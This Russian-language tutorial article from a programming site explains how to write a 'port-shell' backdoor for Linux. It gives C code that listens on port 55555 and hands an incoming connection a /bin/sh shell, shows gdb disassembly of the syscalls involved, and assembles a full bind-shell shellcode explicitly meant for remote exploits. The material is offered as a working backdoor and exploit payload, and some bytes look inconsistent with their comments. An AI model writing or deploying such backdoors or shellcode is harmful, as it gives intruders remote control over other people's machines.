C++ C++ C# C# ASP.NET Security ASP.NET Security ASM ASM Скачать Скачать Поиск Поиск Хостинг Хостинг  
  Программа для работы с LPT портом...
Язык: .NET — ©Alexey...
  "ASP.NET Atlas" – AJAX в исполнении Micro...
Язык: .NET — ©legigor@mail.ru...
  "Невытесняющая" Многопоточность...
Язык: C/C++ — ©...
  01.05.2010 — Update World C++: Сборник GPL QT исходников
  15.12.2007 — Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
Хостинг:
Windows 2003, ASP.NET 2.0
бесплатный и от 80 руб./мес


   Отправить письмо
Кулабухов Артем, Беларусь




 Port-shell / System / UNIX

.. Port-shell  //dev0id

Что такое Port-shell, я думаю вы знаете: это программа, которая открывает доступ к шеллу на определенном порту. Запустив такую программу, вы сможете подсоединяться к удаленному хосту и выполнять любые команды на этой удаленной машине, с теми привилегиями, с которыми была запущенна данная программа.

Вообще, на написание данной статьи меня толкнула одна статья с lbyte.void.ru. Дело в том, что они писали о backdoor'e, который записывал в /etc/passwd новый аккаунт с привилегиями рута (uid=0; gid=0) при посылке определенной команды на определенный порт. Мне же не очень понравилась эта идея, так как к удаленному компьютеру невозможно было бы подсоединиться, если бы на нем отстутсвовали такие утилиты как telnetd, sshd и т.п. Небыло бы толку от этого бэкдора при их отстутсвии, поэтому нужен шелл. Вот мы и примимся за его написание.
Сам код программы не очень большой, так как программа всего-навсего открывает нужный нам порт и запускает оболочку, выход которой синхронизирован с дескриптором сокета:

//все нужные и не нужные инклуды

int soc,cli;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;

int main()
{
	if(fork()==0)
	{
		serv_addr.sin_family=AF_INET;
		serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
		serv_addr.sin_port=htons(55555);
		soc=socket(AF_INET,SOCK_STREAM,0);
		bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
		listen(soc,1);
		cli=accept(soc,(struct sockaddr *)&cli_addr,sizeof(cli_addr));
		dup2(cli,0);
		dup2(cli,1);
		dup2(cli,2);
		execl("/bin/sh","sh",0);
	}
}
вот и весь код =). Но это еще не все. Данный код очень удобно использовать для написания remote exploits. Все что нужно - перевести данный код в ассемблерный и вытащить ОПКОД. Этим мы и займемся: пользоваться мы будем gdb, итак, поехали:
(gdb) disas dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>:          movl   %ebx,%edx
0x804cbe2 <dup2+2>:        movl   0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>:        movl   0x4(%esp,1),%ebx
0x804cbea <dup2+10>:       movl   $0x3f,%eax
0x804cbef <dup2+15>:       int    $0x80
0x804cbf1 <dup2+17>:       movl   %edx,%ebx
0x804cbf3 <dup2+19>:       cmpl   $0xfffff001,%eax
0x804cbf8 <dup2+24>:       jae    0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>:       ret
0x804cbff <dup2+31>:       nop
End of assembler dump.

(gdb) disas fork
Dump of assembler code for function fork:
0x804ca90 <fork>:          movl   $0x2,%eax
0x804ca95 <fork+5>:        int    $0x80
0x804ca97 <fork+7>:        cmpl   $0xfffff001,%eax
0x804ca9c <fork+12>:       jae    0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>:       ret
0x804caa3 <fork+19>:       nop
0x804caa4 <fork+20>:       nop
0x804caa5 <fork+21>:       nop
0x804caa6 <fork+22>:       nop
0x804caa7 <fork+23>:       nop
0x804caa8 <fork+24>:       nop
0x804caa9 <fork+25>:       nop
0x804caaa <fork+26>:       nop
0x804caab <fork+27>:       nop
0x804caac <fork+28>:       nop
0x804caad <fork+29>:       nop
0x804caae <fork+30>:       nop
0x804caaf <fork+31>:       nop
End of assembler dump.

(gdb) disas socket
Dump of assembler code for function socket:
0x804cda0 <socket>:        movl   %ebx,%edx
0x804cda2 <socket+2>:      movl   $0x66,%eax
0x804cda7 <socket+7>:      movl   $0x1,%ebx
0x804cdac <socket+12>:     leal   0x4(%esp,1),%ecx
0x804cdb0 <socket+16>:     int    $0x80
0x804cdb2 <socket+18>:     movl   %edx,%ebx
0x804cdb4 <socket+20>:     cmpl   $0xffffff83,%eax
0x804cdb7 <socket+23>:     jae    0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>:     ret
0x804cdbe <socket+30>:     nop
0x804cdbf <socket+31>:     nop
End of assembler dump.

(gdb) disas bind
Dump of assembler code for function bind:
0x804cd60 <bind>:          movl   %ebx,%edx
0x804cd62 <bind+2>:        movl   $0x66,%eax
0x804cd67 <bind+7>:        movl   $0x2,%ebx
0x804cd6c <bind+12>:       leal   0x4(%esp,1),%ecx
0x804cd70 <bind+16>:       int    $0x80
0x804cd72 <bind+18>:       movl   %edx,%ebx
0x804cd74 <bind+20>:       cmpl   $0xffffff83,%eax
0x804cd77 <bind+23>:       jae    0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>:       ret
0x804cd7e <bind+30>:       nop
0x804cd7f <bind+31>:       nop
End of assembler dump.

(gdb) disas listen
Dump of assembler code for function listen:
0x804cd80 <listen>:        movl   %ebx,%edx
0x804cd82 <listen+2>:      movl   $0x66,%eax
0x804cd87 <listen+7>:      movl   $0x4,%ebx
0x804cd8c <listen+12>:     leal   0x4(%esp,1),%ecx
0x804cd90 <listen+16>:     int    $0x80
0x804cd92 <listen+18>:     movl   %edx,%ebx
0x804cd94 <listen+20>:     cmpl   $0xffffff83,%eax
0x804cd97 <listen+23>:     jae    0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>:     ret
0x804cd9e <listen+30>:     nop
0x804cd9f <listen+31>:     nop
End of assembler dump.

(gdb) disas accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>:           movl   %ebx,%edx
0x804cd42 <__accept+2>:         movl   $0x66,%eax
0x804cd47 <__accept+7>:         movl   $0x5,%ebx
0x804cd4c <__accept+12>:        leal   0x4(%esp,1),%ecx
0x804cd50 <__accept+16>:        int    $0x80
0x804cd52 <__accept+18>:        movl   %edx,%ebx
0x804cd54 <__accept+20>:        cmpl   $0xffffff83,%eax
0x804cd57 <__accept+23>:        jae    0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>:        ret
0x804cd5e <__accept+30>:        nop
0x804cd5f <__accept+31>:        nop
End of assembler dump.
сам ОПКОД для каждой из этих функций выглядит следующим образом:
dup2(cli,0)
----------------------------------------------------------------------
char code[]=
	"\x88\xc3"                      /* movb %al,%bl          */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------

fork()
----------------------------------------------------------------------
сhar code[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------

socket(2,1,6)
----------------------------------------------------------------------
сhar code[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\xb0\x06"                      /* movb $0x6,%al         */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x01"                      /* movb $0x1,%bl         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------

bind(soc,(struct sockaddr *)&serv_addr,0x10)
----------------------------------------------------------------------
сhar code[]=
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
	"\xb0\x77"                      /* movb $0x77,%al        */
	"\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
	"\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
	"\xb0\x10"                      /* movb $0x10,%al        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x02"                      /* movb $0x2,%bl         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------

listen(soc,1)
----------------------------------------------------------------------
char code[]=
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x04"                      /* movb $0x4,%bl         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------

accept(soc,0,0)
----------------------------------------------------------------------
char code[]=
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\x89\xf1"                      /* movl %eax,(%esi)      */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x05"                      /* movb $0x5,%bl         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------
Теперь соединяем все это воедино и добавляем к этому вызов самого шела - получаем следующую байдень:
char shellcode[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\xcd\x80"                      /* int $0x80             */
	"\x85\xc0"                      /* testl %eax,%eax       */
	"\x75\x43"                      /* jne 0x43              */
	"\xeb\x43"                      /* jmp 0x43              */
	"\x5e"                          /* popl %esi             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\xb0\x06"                      /* movb $0x6,%al         */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x01"                      /* movb $0x1,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
	"\xb0\x77"                      /* movb $0x77,%al        */
	"\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
	"\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
	"\xb0\x10"                      /* movb $0x10,%al        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x02"                      /* movb $0x2,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xeb\x04"                      /* jmp 0x4               */
	"\xeb\x55"                      /* jmp 0x55              */
	"\xeb\x5b"                      /* jmp 0x5b              */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x04"                      /* movb $0x4,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x05"                      /* movb $0x5,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x88\xc3"                      /* movb %al,%bl          */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xcd\x80"                      /* int $0x80             */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\xb1\x01"                      /* movb $0x1,%cl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\xb1\x02"                      /* movb $0x2,%cl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\x5b\xff\xff\xff";         /* call -0xa5            */
Ничего не понятно? Попробуйте проделать это на своей машине и привести к подобному виду. Кстати, как видите, код написан под Линукс, попробуйте его переделать под BSD.